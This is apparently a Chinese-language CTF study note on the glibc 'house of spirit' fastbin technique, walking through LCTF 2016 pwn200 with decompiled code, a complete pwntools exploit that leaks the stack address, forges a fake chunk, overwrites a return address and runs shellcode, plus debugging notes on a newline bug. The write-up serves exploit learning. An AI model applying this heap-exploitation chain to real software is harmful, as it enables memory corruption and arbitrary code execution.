​ 这个东西蛮有意思,可以对内存中一块fastbin大小的不可控内存区域进行读写,但它需要满足两个条件

​ 1.该区域的前后的内存是可控的

​ 2.存在一个可控指针可以作为free函数的参数

how2heap的例子

https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_spirit.c

确实需要画图,画图的话看得很清晰了就

image-20230608205143594

LCTF 2016 pwn200

​ 看一下有rwx段,可以写shellcode,本来是想打onegadget的,不过这种打法还需要泄露libc的地址

1
2
3
4
5
6
7
8
root@VM-24-10-ubuntu:/home/ubuntu/heap/houseofsp# checksec pwn200
[*] '/home/ubuntu/heap/houseofsp/pwn200'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 sub_400A8E()
{
__int64 i; // [rsp+10h] [rbp-40h]
char v2[48]; // [rsp+20h] [rbp-30h] BYREF

puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
read(0, &v2[i], 1uLL);
if ( v2[i] == 10 )
{
v2[i] = 0;
break;
}
}
printf("%s, welcome to xdctf~\n", v2);
puts("give me your id ~~?");
sub_4007DF();
return sub_400A29();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int sub_4007DF()
{
char nptr[8]; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

v2 = 0;
for ( i = 0; i <= 3; ++i )
{
read(0, &nptr[i], 1uLL);
if ( nptr[i] == 10 ) //换行
{
nptr[i] = 0; //空字符
break;
}
if ( nptr[i] > 57 || nptr[i] <= 47 ) // 如果不是数字的话,就打印出来(只读取一个了就),如果是的话,跳过
{
printf("0x%x ", (unsigned int)nptr[i]);
return 0;
}
}
v2 = atoi(nptr);
if ( v2 >= 0 )
return atoi(nptr);
else
return 0;
}

​ 要先想办法泄露地址,输入回车的会被替换成0(就相当于字符串到最后了,被截断)

​ 把前面修改为 0x40 fastbin大小,,然后进行free, 然后malloc获取到ret地址,然后就修改ret进行getshell

泄露地址

​ 不要遗漏每一个函数和语句!

image-20230607111909013

​ 输入48个A泄露rbp

伪造chunk

​ 这里是输入money那里,可以直接覆盖到ptr指针,把ptr覆盖了,覆盖成当前rbp的地址之前的某个位置,伪造chunk,free,然后再申请拿到这一块内存控制权限,然后就可以修改ret了,但是两个问题,

​ 1.不知道libc的地址,知道的话,可以直接onegadget了,所以书中的解法是用了shellcode

​ 2.伪造chunk的话,需要满足一定约束,也就是它相邻的chunk的size域和那几个标志位,这个可以通过之前的输入id来解决

image-20230607114236103

​ 可以看一下最终的效果图,很清晰

image-20230608201414380

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

#io = remote('0.0.0.0', 10001)
io = process('./pwn200')

shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64')

def leak():
global fake_addr
global shellcode_addr

payload = shellcode.rjust(48, b'A')
io.sendafter("who are u?\n", payload)

io.recvuntil(payload)
rbp_addr = u64(io.recvn(6).ljust(8, b'\x00'))
shellcode_addr = rbp_addr - 0x20 - len(shellcode)
fake_addr = rbp_addr - 0x20 - 0x30 - 0x40 # make fake.size = 0x40
log.info("shellcode address: 0x%x" % shellcode_addr)
log.info("fake chunk address: 0x%x" % fake_addr)

def house_of_spirit():
io.sendlineafter("give me your id ~~?\n", '65') # next.size = 0x41

fake_chunk = p64(0) * 5
fake_chunk += p64(0x41) # fake.size
fake_chunk = fake_chunk.ljust(0x38, b'\x00')
fake_chunk += p64(fake_addr) # overwrite pointer
io.sendafter("give me money~\n", fake_chunk)

io.sendlineafter("choice : ", '2') # free(fake_addr)
io.sendlineafter("choice : ", '1') # malloc(fake_addr)
io.sendlineafter("long?", '48')

payload = b"A" * 0x18
payload += p64(shellcode_addr) # overwrite return address
payload = payload.ljust(48, b'\x00')
io.sendafter("48\n", payload)

def pwn():
io.sendlineafter("choice", '3')
io.interactive()

leak()
house_of_spirit()
pwn()

排错

​ 自己写的exp一直有问题,有一大片后面的选择\n=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice :的输出

​ 捣鼓半天是leak那里出问题了..一个回车引发的血案……….草……… 造成了后面一堆的错乱,为啥gdb里不影响呢?

​ 这里要用send,因为存在offbyone,所以不需要回车,可以正好填满缓冲区,然后把rbp打印出来

1
2
3
4
5
def leak():
14 global fake_addr,shellcode_addr
15 payload = shellcode.rjust(48,b'A')
16 p.recvuntil("who are u?\n")
17 p.send(payload)

​ 感觉貌似就算输入48个字符和\n,也不会有影响呀,是影响了后面的东西吗,比如这个\n作为后面的输入了? 是的,是这样

是的,理论上48个字符后,下一个字符,会放到ebp-0x38,也就是刚才输入的who are u后面的前方(不信可以输入49个a试试)

1
2
3
4
.text:0000000000400B1F                 call    sub_4007DF
.text:0000000000400B24 cdqe
.text:0000000000400B26 mov [rbp+var_38], rax
.text:0000000000400B2A mov eax, 0

image-20230608202658654

​ 不正常的,不正常是因为\n被give you id读取了,然后65\n和give your money后面全乱了

image-20230608203836560

image-20230608200524103

​ 正常的(伪造这个0x41的位置),释放后再申请,前面18个随便填充,然后就覆盖返回地址了

image-20230608201414380

待整理

​ 感觉貌似就算输入48个字符和\n,也不会有影响呀,是影响了后面的东西吗,比如这个\n作为后面的输入了? 是的,是这样

程序运行起来了,接入pid调试

,或者能不能直接看内存空间

Gdb attach本地进程进去

搞一搞pwntools,深入理解下

house_of_spirit 也有一个send

你的exp有问题…不过确实可以找一下其他的学一下

​ 2.伪造chunk的话,需要满足一定约束,也就是它相邻的chunk的size域和那几个标志位,这个可以通过之前的输入id来解决

https://blog.csdn.net/sinat_35360663/article/details/128510319

后面有个总结不错

一个回车惹的祸…